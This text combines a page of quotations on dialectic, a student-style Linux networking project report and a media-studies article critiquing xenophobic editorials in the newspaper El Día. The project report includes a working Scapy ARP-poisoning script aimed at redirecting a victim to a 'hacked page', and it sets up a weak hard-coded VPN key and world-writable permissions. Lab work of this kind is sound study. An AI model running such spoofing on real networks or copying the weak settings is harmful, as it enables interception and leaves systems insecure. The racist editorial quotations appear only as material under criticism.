indeed, the concept of man, of personality, even of society and class taken in the sense that presupposes specific viewpoints and directions of interest. Max Horkheimer, “The latest attack on metaphysics,” Critical Theory: Selected Essays (1982), p. 145 Dialectical logic is loyal to the contradictions, not by the reasoning of “on the one hand and the other” but by tracing the contradictions to their fractured source. Russell Jacoby, Social Amnesia (1975), p. 60 Instead of ideologically synchronizing contradictions, or assigning them to separate halls of the academy, critical theory seeks to articulate them. Russell Jacoby, Social Amnesia (1975), p. 73 Dialectics and reflection play the same role for the philosopher as does verse for the poet. Sarah Kofman, Nietzsche and Metaphor (1972), Duncan Large, trans. (Stanford: 1983), p. 13 This organization of functional discourse is of vital importance; it serves as a vehicle of coordination and subordination. The unified, functional language is an irreconcilably anti-critical and anti-dialectical language. In it, operational and behavioral rationality absorbs the transcendent, negative, oppositional elements of Reason. Herbert Marcuse, One Dimensional Man (1964), p. 97 Such dialectical relation of opposites in and by the proposition is rendered possible by the recognition of the subject as an historical agent whose identity constitutes itself in and against its historical practice, in and against its social reality. The discourse develops and states the conflict between the thing and its function, and this conflict finds linguistic expression in sentences which join contradictory predicates in a logical unit—conceptual counterpart of the objective reality. In contrast to all Orwellian language, the contradiction is demonstrated, made explicit, explained, and denounced. Herbert Marcuse, One Dimensional Man (1964), p. 99-100 In the Platonic dialectic, ... the terms “Being” “Non-being” “Movement,” “the One and the Many” “Identity” and “Contradiction” are methodically kept open, ambiguous, not fully defined. They have an open horizon, an entire universe of meaning which is gradually structured in the process of communication itself, but which is never closed. The propositions are submitted, developed, and tested in a dialogue, in which the partner is led to question the normally unquestioned universe of experience and speech, and to enter a new dimension of discourse—otherwise he is free and the discourse is addressed to his freedom. He is supposed to go beyond that which is given to him—as the speaker, in his proposition, goes beyond the initial setting of the terms. These terms have many meanings because the conditions to which they refer have many sides, implications, and effects which cannot be insulated and stabilized. Herbert Marcuse, One Dimensional Man (1964), p. 131 The contemporary mathematical and symbolic logic is certainly very different from its classical predecessor, but they share the radical opposition to dialectical logic. In terms of this opposition, the old and the new formal logic express the same mode of thought. it is purged from that “negative” which loomed so large at the origins of logic and of philosophic thought—the experience of the denying, deceptive, falsifying power of the established reality. And with the elimination of this experience, the conceptual effort to sustain the tension between “is” and “ought”, and to subvert the established universe of discourse in the name of its own truth is likewise eliminated from all thought which is to be objective, exact, and scientific. For the scientific subversion of the immediate experience which establishes the truth of science as against that of immediate experience does not develop the concepts which carry in themselves the protest and the refusal. The new scientific truth which they oppose to the accepted one does not contain in itself the judgment that condemns the established reality. ... In contrast, dialectical thought is and remains unscientific to the extent to which it is such judgment. Herbert Marcuse, One Dimensional Man (1964), pp. 139-140 The really fundamental aspect of the dialectic is not the tendency of the finite category to negate itself but to complete itself. J. M. E. McTaggart, Studies in the Hegelian Dialectic (1896), p. 10 The internal or dialectical critique of received opinion does not take place in a single stroke, but in a series of successive approximations to the truth, each of which will seem in its time to be the final one. The student must not be encouraged to race through these stages to the end, but on the contrary to settle down and live with each for a while, so that he has the time to truly take it in and absorb it—and to allow it to transform him. Our lives do not change as quickly as our thoughts. If the student tries to move too fast, he leaves his life behind, and his thinking becomes purely intellectual. He ceases to believe what he thinks and think what he believes. Tempo is everything. Prematurity—showing the student more than he is ready to understand or digest at the moment—is the great wrecker of educations. As Rousseau remarks in Emile, “never show the child anything he cannot see.” Again: the child “must remain in absolute ignorance of ideas ... which are not within his reach.” (1979, 183, 178). Arthur Melzer, “On the Pedagogical Motive for Esoteric Writing,” Journal of Politics, Vol. 69, Issue 4, November 2007, p. 22 I am not only convinced that what I say is false, but also that what one might say against it is false. Despite this, one must begin to talk about it. In such a case the truth lies not in the middle, but rather all around, like a sack, which, with each new opinion one stuffs into it, changes its form, and becomes more and more firm. Robert Musil, Helpless Europe In dialectic the student ... will get training in thinking, whereas the best that he gets now is a vague admonition to think for himself. Richard Weaver, “The Power of the Word,” Language is Sermonic (1970), p. 55 Wikipedia has an article about: Dialectic Look up dialectic in Wiktionary, the free dictionary
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Ashwin Maniyankode Chandranathan Kailash Natarajan Pooja Deshpande Pranoy Thykkoottathil Jose The main objective of this project is to build a secure and a dynamic network which has Dynamic Host Configuration Protocol(DHCP),Domain Name Server(DNS), Webserver, Firewall and Backup system using the Linux-Ubuntu operating system. Dynamic Host Configuration Protocol (DHCP) is a network protocol that enables a server to automatically assign an IP address to a computer from a defined range of IP addresses (i.e., a scope) configured for a given network.The DHCP server leases an address to any DHCP-enabled client when it starts up on the network. Since IP addresses are dynamic (leased) rather than static (permanently assigned), addresses which are no longer in use are automatically returned to the pool for reallocation. Both IPV4 and IPV6 addresses can be assigned using DHCP server. DHCP supports three mechanisms for IP address allocation. Automatic allocation: DHCP assigns IP address to a client when it gets the requests from them. Dynamic allocation: DHCP assigns IP addresses to clients for a specified period of time (or until the client explicitly relinquishes the address). When the lease expires, then the client will have to request for an extension on the lease or request another IP. Manual allocation: Using DHCP, we can assign the same IP to a particular device by using its MAC address as an identifier. For example, a server will always have the same IP, even though it is getting it via. the DHCP server. One or more of these mechanisms will get used depending on the policies of the network administrator. DNS is an application layer protocol with the ability to translate domain names to IP addresses and vice versa. The basic job of the DNS is to provide simplicity for the application user; i.e. it provides an easier way that will translate the user-friendly domain name to a machine understanding IP address which is then used to fetch and forward data. With the explosion in the use of internet and World Wide Web in commercial, security, social markets among many others, it is not possible for a user to remember the logical IP addresses of the sites. This is where DNS steps in and makes it possible such that the user just needs to remember the user-friendly domain name like www.google.com from which the DNS will translate it into an IP address as 8.8.8.8. Jumping further into the behavior of the protocol, the DNS stores DNS records for a domain name with corresponding IP addresses and it will respond to queries from the user with answers from its database. DNS Records are nothing but the database files from which the mappings are fetched. Some of the commonly used DNS records are A, CNAME, MX, PTR, NS. A webserver should run on the Linux OS to host a website. Apache2 is the used webserver.A firewall is used to provide a layer of security to control the incoming and outgoing traffic in a network and to block and filter packets to go into the system. The firewall can for a system or even a specific server with bunches of databases or confidential data which is being shielded from unapproved clients in/outside the system. 1. When a Client, configured with the TCP/IP setting “Obtain an IP address automatically(DHCP)”, plugs into a network, it sends out a broadcast from UDP port 68 to UDP port 67 to “DISCOVER” a DHCP Server (or relay agent). 2.The DHCP Server then responds by sending out an “Offer” (through a relay agent if applicable). 3.Then the client sends out a “Request”, requesting an IP address . 4. This request is finally “Acknowledged” by the server so that the client starts using the IP address. 1. The requesting host will generate a DNS query packet, which will be passed to the Local DNS Server that is connected to the host network. 2. The Local DNS Server will receive this query and forward this to appropriate Root Name Server. The Root Name Server will check if it is a valid domain and if there are entries for that in its database and reply to the Local DNS. 3. The Local DNS will then send a query to the TLD DNS Server which will send the details of the Authoritative Name Server which will have the details of the mapping address or name. 4. The Local DNS Server will then send a query to the Authoritative Name server seeking the mapping for the domain name or the IP address which was initially sent by the requesting host. 1.The client initiates a TCP connection with the web server IP provider. 2.The connection involves a 3 way handshake mechanism. 3.First, the clients sends a SYN message requesting TCP connection to the browser at port 80. 4.The server responds with a SYN-ACK message acknowledging the request and requests the client to open a port for the server to send information. 5.The client responds with the ACK message and also sends a request for the HTML page. Step 1: Install DHCP server package sudo apt-get install isc-dhcp-server Step 2: Edit the isc-dhcp-server file sudo vim /etc/default/isc-dhcp-server On line 11 change: INTERFACES=”ens33” Save and Exit Step 3: Configure the DHCP server for ipv4 Editing file /etc/dhcp/dhcpd.conf sudo vim /etc/dhcp/dhcpd.conf subnet 192.168.10.0 netmask 255.255.255.0 { range 192.168.10.30 192.168.10.99; option domain-name-servers 192.168.10.10; option subnet-mask 255.255.255.0; option routers 192.168.10.10; option broadcast-address 192.168.10.255; default-lease-time 600; max-lease-time 7200; } iface eth0 inet6 static address 2001:0db8:edfa:1234::1 netmask 64 gateway 2001:0db8:edfa:1234::2 For the servers within the network to always have the same IP, we have matched their MAC addresses with a specific IP. host dns-server { hardware ethernet 00:0c:29:8e:69:00; fixed-address 192.168.10.10; } host web-server { hardware ethernet 00:0c:29:5c:7d:2e; fixed-address 192.168.10.20; } host nfs-server { hardware ethernet 00:0c:29:8f:8b:d9; fixed-address 192.168.10.15; } Step 4 : Set the static IP address of the DHCP server sudo vim /etc/network/interfaces auto lo iface lo inet loopback auto ens33 iface ens33 inet static address 192.168.10.18 netmask 255.255.255.0 gateway 192.168.10.1 broadcast 192.168.10.255 dns-domain-nameserver 192.168.10.10 Step 5: Edit the resolv.conf file sudo vim /etc/resolv.conf nameserver 192.168.10.10 Step 6: Restart the DHCP server sudo /etc/init.d/isc-dhcp-server restart Step 7: Configuring the DHCPv6 server Create a file named dhcpd6.conf sudo vim /etc/dhcp/dhcpd6.conf #/etc/dhcp/dhcpd6.conf default-lease-time 86400; preferred-lifetime 80000; allow leasequery; subnet6 2001:0db8:edfa:1234::/64 { # Range for clients range6 2001:0db8:edfa:1234:5678::aaaa 2001:0db8:edfa:1234:5678::ffff; } In this project all the servers are in a private network and the servers receive its IP from the DHCP server. For configuring DNS, we have used Bind9 (Berkeley Internet Name Domain v9) on Ubuntu for resolving hostnames and IP addresses by the clients. Prerequisite: To configure DNS server one must have root user permissions and install Bind9. To install Bind9, use the following command, Command: sudo apt-get update sudo apt-get install bind9 bind9utils bind9-doc sudo systemctl daemon-reload sudo systemctl restart bind9 Step 1: Obtain static IP from DHCP server and assign that in the interface – “/etc/network/interfaces” Command: cd /etc/network sudo nano interfaces auto eth0 iface eth0 inet static address 192.168.10.10 netmask 255.255.255.0 network 192.168.10.0 broadcast 192.168.10.255 gateway 192.168.10.1 Step 2: Now add the Name Server and Hostname details with respect to the webpage for which address resolving has to be done in the – “/etc/hosts” file. Command: cd /etc sudo nano hosts 127.0.0.1 localhost 192.168.10.10 ubuntu.project.com Ubuntu Step 3: Provide the hostname for the webpage to be resolved in the – “/etc/hostname” file. Command: cd /etc sudo nano hostname ubuntu.project.com Step 4: Provide the IP address for the Name Server and name of the webpage in the – “/etc/resolvconf/resolv.conf.d/head” file. Command: cd /etc/resolvconf/resolv.conf.d sudo nano head nameserver 192.168.10.10 search project.com Step 5: For the DNS Server we have to specify the forward and the reverse zones that will provide with the forward and reverse DN resolving. This can be done from the – “/etc/bind/named.conf.local” file. Command: #Forward Zone zone "project.com" { type master; #specifying if the DNS server is master or slave file "/etc/bind/db.project.com"; #zone file path allow-transfer { 192.168.10.11; }; # secondary DNS IP also-notify { 192.168.10.11; }; }; #Reverse Zone zone "10.168.192.in-addr.arpa" { type master; #specifying if the DNS server is master or slave file "/etc/bind/db.192"; #zone file path allow-transfer { 192.168.10.11; }; # secondary DNS IP also-notify { 192.168.10.11; }; }; Step 6: Now to add the forwarder IP for the DNS we can configure that in the – “/etc/bind/named.conf.options” file. There is also one more option where you can use Access Lists to only allow specified IP addresses to access the DNS server which can also be added here. Command: options { forwarders { 192.168.10.1; #forwarder IP for DNS }; Step 7: Now we have to create the forward and reverse zone which will act as the database from which the DNS server will look-up to resolve for the Domain name or IP address. This database file can be created with reference to the already existing local database file at – “/etc/bind/db.local” file and making our own copy as the – “/etc/bind/db.project.com” file for the forward zone and “/etc/bind/db.192” file for the reverse zone. Command: Forward Zone Database: cd /etc/bind sudo cp db.local db.project.com sudo cp db.local db.192 sudo nano /etc/bind/db.project.com ; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ubuntu.project.com. root.project.com. ( 9 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ubuntu.project.com. @ IN A 192.168.10.30 ubuntu IN A 192.168.10.30 web IN A 192.168.10.20 www IN CNAME web.project.com. @ IN AAAA 2001:db8:edfa:1234::15 ubuntu IN AAAA 2001:db8:edfa:1234::15 ; Note: • The serial number 9 represents the number of times this database file has been edited and make sure you increment it each time the file is edited. • The @ symbol means that the record applies in all cases not otherwise specified. • That is followed by IN the record type A or CNAME or AAAA or NS Reverse Zone Database: sudo nano /etc/bind/db.192 ; ; BIND reverse data file for local loopback interface ; $TTL 604800 @ IN SOA ubuntu.project.com. root.project.com. ( 6 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ubuntu.project.com. 30 IN PTR ubuntu.project.com. 20 IN PTR web.project.com. 20 IN PTR www.web.project.com. 5.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.4.3.2.1.a.f.d.e.8.b.d.0.1.0.0.2.ip6.arpa. IN PTR ubuntu.project.com. ; Note: • The serial number 6 represents the number of times this database file has been edited and make sure you increment it each time the file is edited. • The @ symbol means that the record applies in all cases not otherwise specified. • That is followed by IN the record type PTR or NS Step 8: Now that we have defined the database and the name servers for the DNS server, we have to restart the server for the configurations to take effect. Command: sudo bind9 restart sudo init 6 Configuring Secondary DNS The primary DNS will provide with the domain name resolving functionality for the clients. If there is a failure in the primary DNS, then the client will not be able to resolve for the domain name and will be cut off from using the web. In order to overcome this, it is advisable to have a secondary DNS server which will act as a backup in case the primary DSN fails. It is relatively easier to configure the secondary DNS once the primary DNS is configured. Prerequisite: To configure DNS server one must have root user permissions and install Bind9. To install Bind9, use the following command, Command: sudo apt-get update sudo apt-get install bind9 bind9utils bind9-doc sudo systemctl daemon-reload sudo systemctl restart bind9 Step 1: Obtain static IP from DHCP server and assign that in the interface – “/etc/network/interfaces” Command: cd /etc/network sudo nano interfaces auto eth0 iface eth0 inet static address 192.168.10.11 netmask 255.255.255.0 network 192.168.10.0 broadcast 192.168.10.255 gateway 192.168.10.1 Step 2: Now add the Name Server and Hostname details with respect to the webpage for which address resolving has to be done in the – “/etc/hosts” file. Command: cd /etc sudo nano hosts 127.0.0.1 localhost 192.168.10.11 ubuntu.project.com ubuntu Step 3: Provide the hostname for the webpage to be resolved in the – “/etc/hostname” file. Command: cd /etc sudo nano hostname ubuntu.project.com Step 4: Provide the IP address for the Secondary Name Server and name of the webpage in the – “/etc/resolvconf/resolv.conf.d/head” file. Command: cd /etc/resolvconf/resolv.conf.d sudo nano head nameserver 192.168.10.11 search project.com Step 5: For the Secondary DNS Server we have to specify the forward and the reverse zones that will provide with the forward and reverse DN resolving. This can be done from the – “/etc/bind/named.conf.local” file Command: #Forward Zone zone "project.com" { type slave; #specifying if the DNS server is master or slave file "/etc/bind/db.project.com"; #zone file path masters { 192.168.10.10; }; # primary DNS IP }; #Reverse Zone zone "10.168.192.in-addr.arpa" { type slave; #specifying if the DNS server is master or slave file "/etc/bind/db.192"; #zone file path masters { 192.168.10.10; }; # primary DNS IP }; Step 6: Now to add the forwarder IP for the secondary DNS, we can configure that in the – “/etc/bind/named.conf.options” file. There is also one more option where you can use Access Lists to only allow specified IP addresses to access the secondary DNS server which can also be added here. Command: options { forwarders { 192.168.10.1; #forwarder IP for DNS }; Step 7: Now that we have defined the database and the name servers for the secondary DNS server, we have to restart the server for the configurations to take effect. Command: sudo bind9 restart sudo init 6 Step 1: To Install Apache2 Webserver Command: sudo apt-get install apache2 Step 2: To Check whether the web server is able to listen on port 80 Command: netstat -a | more Step 3: To restart the web server Command: sudo /etc/init.d/apache2 restart Step 4: To develop a webpage for the server Command: cd /var/www/html sudo nano index.html The protocols used for backup are rsync and ssh. Rsync is a protocol used to synchronize files in Ubuntu. It updates only that data that is not yet synchronized with the backup file. Ssh protocol provides a secure channel to send and receive files on Unix machines.It uses encryption and decryption at the end users. Crontab is used for scheduling backups. Step 1: Install rsync sudo apt-get install rsync Step 2: Install ssh sudo apt-get install openssh-server Step 3: Create a public and a private key for security ssh-keygen -t rsa Step 4: Append new public key cat .ssh/id_rsa.pub | ssh [email protected] 'cat >> .ssh/authorized_keys' Step 5: Edit crontab crontab –e Step 6: Scheduling and run the rsync command from the crontab to automate the backup of the webserver 25**** rsync -avzP --delete -e ssh /var/www/html [email protected]:/home/ashwinmc1/Backup Step 1: Install UFW package sudo apt-get install ufw Step 2: Check UFW status sudo ufw status Step 3: Set Up Default Policies sudo ufw default deny incoming sudo ufw default allow outgoing Step 4: Allow SSH,http,ftp,https Connections sudo ufw allow from 192.168.10.0/24 to any port 443 sudo ufw allow from 192.168.10.0/24 to any port 80 sudo ufw allow from 192.168.10.0/24 to any port 21 sudo ufw allow from 192.168.10.0/24 to any port 22 Step 5: Disabling ping sudo nano /etc/ufw/before.rules Comment out this line: -A ufw-before-input -p icmp --icmp-type echo-request -j ACCEPT Step 6: Enable UFW sudo ufw enable 1. A client tries to connect to the network. 2. Once the client gets connected, he'll try to obtain an IP via DHCP. So a broadcast message will be sent out requesting an IP. 3. The DHCP server will provide an IP address to the client if the request is successful. Otherwise, 'request fail' message will be obtained and we will need to contact the network administrator for help. 4. The client will now try to access the web server. If the domain name server details obtained via DHCP is correct, a request will be sent to DNS to resolve the IP address of the domain. DNS will then reply with IP address of the web page. else if DNS reply fails, an error message will be displayed saying, ‘server not found.’ else if URL entered is wrong, an error message will be displayed saying, ‘webpage unavailable.’ Retry 5. Client accessed the web server. Now he sends HTTP request to the server. if the request is successful, the Web page will be displayed else Error message like ‘no data received’ will be displayed. Retry Flow chart has been provided in the project report. ARP poisoning has been implemented using Scapy. # Import scapy from scapy.all import * # Setting variables attIP="192.168.10.39" attMAC="00:0c:29:7b:64:65" vicIP="192.168.10.40" vicMAC="00:0c:29:60:af:21" dgwIP="192.168.10.20" dgwMAC="00:0c:29:5c:7d:2e" # Forge the ARP packet for the victim arpFakeVic = ARP() arpFakeVic.op=2 arpFakeVic.psrc=dgwIP arpFakeVic.pdst=vicIP arpFakeVic.hwdst=vicMAC # Forge the ARP packet for the default GW arpFakeDGW = ARP() arpFakeDGW.op=2 arpFakeDGW.psrc=vicIP arpFakeDGW.pdst=dgwIP arpFakeDGW.hwdst=dgwMAC # While loop to send ARP # when the cache is not spoofed while True: # Send the ARP replies send(arpFakeVic) send(arpFakeDGW) print "ARP sent" # Wait for a ARP replies from the default GW sniff(filter="arp and host 10.0.0.1 or host 10.0.0.209", count=1) Step 1:Configuring the NFS-server Command: sudo apt-get install nfs-kernel-server sudo chmod 777 location Edit the file sudo nano /etc/exports On the last line append below /home/ashwinmc1/mnt 192.168.10.0/255.255.255.0(rw,sync,root_squash,subtree_check) Save and Exit Change the directory cd /home/ashwinmc1/mnt touch newfile sudo nano newfile Start the server sudo service nfs-kernel-server start Step 2:Configuring the NFS-client Command to Install NFS client: sudo apt-get install nfs-common Make directory in a location sudo mount server ip(192.168.10.15):serverpath(/home/ashwinmc1/mnt) client path(/home/mnt) sudo reboot sudo mount -a IPSEC VPN has been implemented using the 'strongswan' package. IPSEC VPN helps make the connection between two servers more secure and it also makes sure that sniffing cannot be done between them. Step 1:Installing the 'strongswan' package Command: apt-get install ipsec-tools strongswan-starter Step 2:Making the cryto map entries Edit the /etc/ipsec.conf file Command: vim /etc/ipsec.conf conn red-to-blue authby=secret auto=route keyexchange=ike left=192.168.10.100 right=192.168.10.200 type=tunnel esp=aes128gcm16! Step 3:Make the PSK entries We need to edit the /etc/ipsec.secrets file Command: vim /etc/ipsec.secrets 192.168.10.100 192.168.10.200 : PSK "project" Step 4:Restart the ipsec service Command: ipsec restart Step 1:Installing the 'strongswan' package Command: apt-get install ipsec-tools strongswan-starter Step 2:Making the cryto map entries Edit the /etc/ipsec.conf file Command: vim /etc/ipsec.conf conn blue-to-red authby=secret auto=route keyexchange=ike left=192.168.10.200 right=192.168.10.100 type=tunnel esp=aes128gcm16! Step 3:Make the PSK entries We need to edit the /etc/ipsec.secrets file Command: vim /etc/ipsec.secrets 192.168.10.100 192.168.10.200 : PSK "project" Step 4:Restart the ipsec service Command: ipsec restart If the clients are able to get the IP addresses from the defined range of IP addresses defined in the server pool then the DHCP is working properly. For example, since the DHCPv4 address pool is assigned from 192.168.10.30 to 192.168.10.99 and the DHCPv6 pool is assigned from 2001:0db8:edfa:1234:5678::aaaa to 2001:0db8:edfa:1234:5678::ffff, if a client gets assigned an IP address of 192.168.10.36 & 2001:0db8:edfa:1234:5678::aaa1 through DHCP, then the DHCP server is assigning IP addresses correctly and is functioning properly. We can also see the status of the DHCP servers by using the commands: systemctl status isc-dhcp-server systemctl status isc-dhcp-server6 For testing the functioning and effectiveness of DNS, the following commands will be useful: 1) Dig The Domain Information Groper is used to query DNS name servers. It performs DNS lookups and returns the response from the name servers. Eg., We can perform a DIG from the secondary DNS using the following command, Dig 192.168.10.10 project.com AXFR This will return with the records from the master server. 2) Ping Ping is used for checking the network layer status of the server. This can be performed on both the master and the slave DNS to check out if they are reachable from both. 3) Nslookup nslookup is a command used to query DNS servers. Interactive mode gives permission to the user to query the name servers for getting information about hosts and domains. Non-interactive mode gives permission to the user for printing just the name and the information that is requested for a particular host or domain. 4) Host Host is used for DNS lookups. It resolves hostnames to IP addresses and vice versa. Open the web browser and enter the host name or the local IP address. If it is working, then the web server is up and running. A client can try to ping the servers that are blocked. If the response is 'request timed-out' then, the firewall has blocked the client and it is working as per the firewall rules. To test IPSEC VPN, run a continuous ping from one server to the other. Simultaneously, run the command: watch ipsec statusall or tcpdump esp if the number of packets increases in the first case, or if you see packets come in the second case, then the IPSEC tunnel is configured properly. When the client tries to access the webpage, if he/she is redirected to the hacked page, then APR poisoning has been properly implemented. 1. Implementing AAA servers for added security. 2. Additional Firewall rules for added security. 3. Adding Mail servers. 4. Expanding server capabilities. 5. Increase the number of DNS for load distribution and decentralization. 1. https://help.ubuntu.com/community/isc-dhcp-server 2. https://www.gypthecat.com/ipsec-vpn-host-to-host-on-ubuntu-14-04-with-strongswan 3. https://www.digitalocean.com 4. Computer Networking - A top down approach by Kurose and Ross 5. https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-14-04 6. https://kb.iu.edu/d/adov 7. https://blogs.technet.microsoft.com/networking/2009/01/29/dhcp-client-behavior
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by Dr. Rodrigo F. Rodríguez Borges [C.V.] Profesor del Departamento de Ciencias de la Información, Universidad de La Laguna, ULL, Spain - [email protected] Please follow this link for Figures/Tables: http://www.revistalatinacs.org/10/art2/895_ULL/17_RodrigoEN.html Since its formulation by McCombs and Shaw in the 70s, the concept of agenda-setting has proved to be of relevant heuristic value to explore the relationship between the media agenda and the public agenda and the processes of transference between them both. Taking this idea as a reference and basing on the tools of the analysis discourse by Van Dijk, this article shows the strategy of informative dosage developed by the newspaper El Día from Tenerife, Canary Islands (Spain) to turn the irregular immigration into the main issue in the civil agenda. The case study is focused on the support given by the newspaper to the call for a demonstration supporting a law of residence as the solution to the arrival of immigrants to the islands. We identified the writing units addressed to the demonstration call, the deliberate chronological sequence used to inform the readers and the editorial declarations supporting the initiative. The analysis lets us appreciate a paradigmatic example of the power of the media to set the political agenda and take in the political parties and the main institutions. On 24 September 2008, the Parliament of the Canary Islands passed, in an unprecedented decision, a Declaration to condemn the newspaper EL Día (published in Tenerife, Canary Islands, Spain) for its ‘xenophobic ideas’ repeatedly appeared in its editorials. Ever since the phenonenon of irregular immigration increased in the archipelago and, especially during 2006, this journal had been making declarations close to xenophobia, that distrustful or hostile attitude against foreigners or ethnic group differentiated by reasons of race, ideology or culture. This is the case of the editorial published on 21 April 2006, in which the newspaper wondered about the consequences that might entail ‘the appearance of just one case of Ebola among the thousands of immigrants who arrive to the Canary Islands every year. Would it mean the end of this archipelago? What would happen with tourism, the main source of revenues?’, adding: “It urges to repatriate and extradite immigrants ...since the Canary Islands are still a European region, neither South American nor African or Asian’. A month later, on 24 May, El Día stated in another editorial that ‘The Canary Islands are suffering an invasion of pure black Africans whose race, as everybody knows, prevale over white people in case of mixture, except in cases of Aids or infectious diseases’. These statements were uttered within an explosive context of exacerbation of xenophobic attitudes that had their most shameful expression in the Resolution approved by the Parliament of the Canary Islands in May, demanding the use of the Army to the central Government in order to stop the massive arrival of ‘pateras’ [open boats] that were putting the Islands in an ‘emergency situation’. El Día had been spreading xenophobic attitudes until the condemn of the Parliament, counting on with the approval or cowardice of the political forces of the archipelago, all of them fearful of wakening the editor’s wrath of the newspaper with the largest circulation in the archipelago. An institution like the Foro Canario de la Inmigración [Canarian Forum for Immigration] had not raised its voice to condemn the events either. Paradoxically, it was an ecologist association –Ben Magec- Ecologistas en acción [Ecologists in Action]– who pressed charges against the newspaper at the Attorney General’s Office by incitement to racism and xenophobia [1] According to Bourdieu (1985), words are not neutral. Communication processes are a faithful (symbolic) representation of power relations. Naming and qualifying constitute privileged tools of intervening in the world. This is the reason why any relevant social agent dares to exert that power to name and to create the world by naming it, this way becoming ‘a symbolic authority, socially recognized, to impose a certain view of the social world’ (Bourdieu, 1985: 66). This is also the case of media, in which informative work and the will to coin reality coexist, influencing on the symbolic representations of reality. (Bourdieu, 1985: 96) From the point of view of discourse analysis, the importance given to media discourse derives from its power to give the voice to certain social actors while silencing others. It is especially evident the role that some media play spreading xenophobic discourses. According to Van Dijk (1997, 2003a, 2003b and 2008) and Cohen and Young (1981), critical analysis of news texts serve to prove the connections that link the various actors involved in their production, identifying those who are the main characters of the information and those who are mere passive subjects of the story. Since its formulation in the seventies by McCombs and Shaw (1972), the concept of agenda setting has proved to be of significant heuristic value to clarify the connections between the media agenda and the public agenda. As many empirical researches have established (Shaw and McCombs, 1997; Winter and Eyal, 1981; López-Escobar, McCombs and Rey, 1996; and McCombs, 2006, et al. ), readers use the important clues that accompany the news to organize their own catalogue of interests, in a process of ‘transference of salience’ from the media agenda to the public agenda. We can complete this statement by adding: media do not merely direct the audience’s attention towards certain issues, but also present those issues according to a certain interpreting framing that contributes to select and emphasize some features or qualities of the object in question (Shaw and McCombs, 1977; and Tankard, 2001). Regarding to immigration, the use of certain discourse strategies together with the pragmatic context in which the discourse is performed, ends up generating an approach to the matter that may help to give rise to pressumptions and significances of xenophobic ideas, socially accepted (Van Dijk, 1997). The booming of immigration in Spain and in the Canary Islands and how media treat it have deserved the attention of many researchers from different perspectives (Igartua, Muñiz and Cheng, 2005; Igartua, Muñiz and Otero, 2006; Muñiz and Cheng, 2005; Nash, 2005), what has also happened in the Canary Islands (Dallanhol, 2000; Ardévol, 2008; Rodríguez Borges, 2006 and 2009.) According to the concept of agenda setting and the tools of critical discourse analysis, this article aims to show a case study on how the newspaper El Día –with the largest circulation in the province of Santa Cruz de Tenerife– tried to set the political agenda on immigration in the Canary Islands, drawing in the main political parties and institutions, and inoculating apprehension to the population. The support given by El Día to a demonstration call in favour of a Residence Act to control immigration in the most serious moment during the inmigratory crisis in 2006, demonstrates the strategy developed by the newspaper to impose its discourse on the public sphere, a prime example of the power of media to set the agenda of public concerns. If, according to Luhmann (2000: 18), social success of media is measured by its capacity to lead certain matters, we can anticipate that El Día achieved its purpose, since the main political actors of the archipelago had to declare themselves in favour or against the demonstration and its convenience. The methodology combines a double approach. On the one hand, a quantitative approach to compute news stories on illegal immigration and the demonstration that were published during October, bearing in mind that these systematic counts have heuristic value themselves (Bardin, 1986: 22) and allow us to go a step further to formulate valid and well founded inferences (Kripendorff, 1990: 28.) On the other hand, the qualitative enquiry based on Van Dijk’s model of discourse analysis proves the importance of time on news circulation and sets the analyzed discourse into the pragmatic context. According to the first approach, we proceeded to find all the news stories identified with a title (news articles, reports, editorials, columns, essays, etc) dealing with immigration in general or specifically with the demonstration call in the four weeks before the march. The chosen date for the demonstration –29 October– tried to take advantage of public reaction to the arrival of thousands of immigrants by open boats in earlier months. In fact, almost 32,000 people arrived to the coast of the Canary Islands during 2006, reaching numbers of unknown dimension. As we can appreciate in figure 1, the number of immigrants ‘who enter through places different from the legally established’ (so to speak in the cold prose of the Ministry of Interior) almost multiplied the arrivals in 2005 by seven and were more than three times the figures of 2002, the year with the highest record until then. The evolution in the number of entries of illegal immigrants during the first ten months of 2006 explains why the demonstration was to be held in October. As we can see in figure 2, in September the Central Government Office in the Canary Islands recorded a number of arrivals noteworthy higher than the total amount of those registered in 2005, what had already happened in August. The importance of these numbers eventually persuaded the conveners to mobilize public opinion. In this context of civic distress, the newspaper El Día launched a supporting campaign in favour of the protesters. In the four weeks of October before the demonstration, the journal published 238 news stories about immigration, the visibility and appeal of almost one hundred of them (93 exactly) were strengthened with graphic support (photographs, graphs, pictures, etc.) The fact that almost 40% of the news stories were accompanied by some of these graphic elements gives us an idea about how determined the newspaper was to emphasize these contents and direct the interest of the readers towards them. We can also deduce the informative emphasis given to the arrival of immigrants from other additional facts that prove the high level of issue focussing: 71 references to irregular immigration appeared on the 31 front pages of October; 16 out of them advertised the demonstration. What’s more, in half of 31 front pages (16) irregular immigrants were the main characters of the stories. The hemerographic review of the opinion texts on immigration appeared in El Día throughout the month shows a clear preference for that issue in the opinion columns written by the staff journalists and in the ones written by the contributors to the newspaper: the consequences of this migratory explosion were analyzed, dissected and evaluated in the 31 texts appeared on the opinion pages of October. Exactly 23 of these 31 columns (almost 75%) offered a negative and controversial image of irregular immigration, as observed in such as expressive titles as ‘Unsustainable illegal immigration’ or ‘Fools’ solidarity’. Not even the traditional letters to the editor sent by the readers escaped the editorial bias that gave priority to any reference to the “problems” caused by immigrants and the urgent necessity of protesting and forcing authorities to intervene. A total of 13 letters found a place on the pages of El Día, with revealing titles such as: ‘Illegal immigrants: blame Europe’, ‘Canario, fight’, ‘Demonstration’, and ‘Everybody to the mass meeting!’. The newspaper was so involved in the success of the call that could not let anybody forget the date of the demonstration. This explains why this unusual text appeared in the section ‘Letters to the editor’ on 26th: ‘Note: in the letter published yesterday entitled “Everybody to the mass meeting”, the author said ... the demonstration will be held next Saturday, when, in fact, it will be held on Sunday 29’. But nothing as revealing as watching the editorial relevance given to this issue. The newspaper set its institutional position and disposition in the editorials. Van Dijk (2003a: 262) was right when he pointed out that news editorials are a sort of discourse produced by an elite and, as such, they express the opinion of a privileged agent that exerts his power to legitimize the actions of the represented social group (Van Dijk, 2003: 262.) When reviewing the editorials published by El Día during October it becomes evident the interest to turn irregular immigration into the main issue of the social agenda: the newspaper published 13 editorials in just four weeks, and six of them explicitly calling for the demonstration in support of ‘effective control on 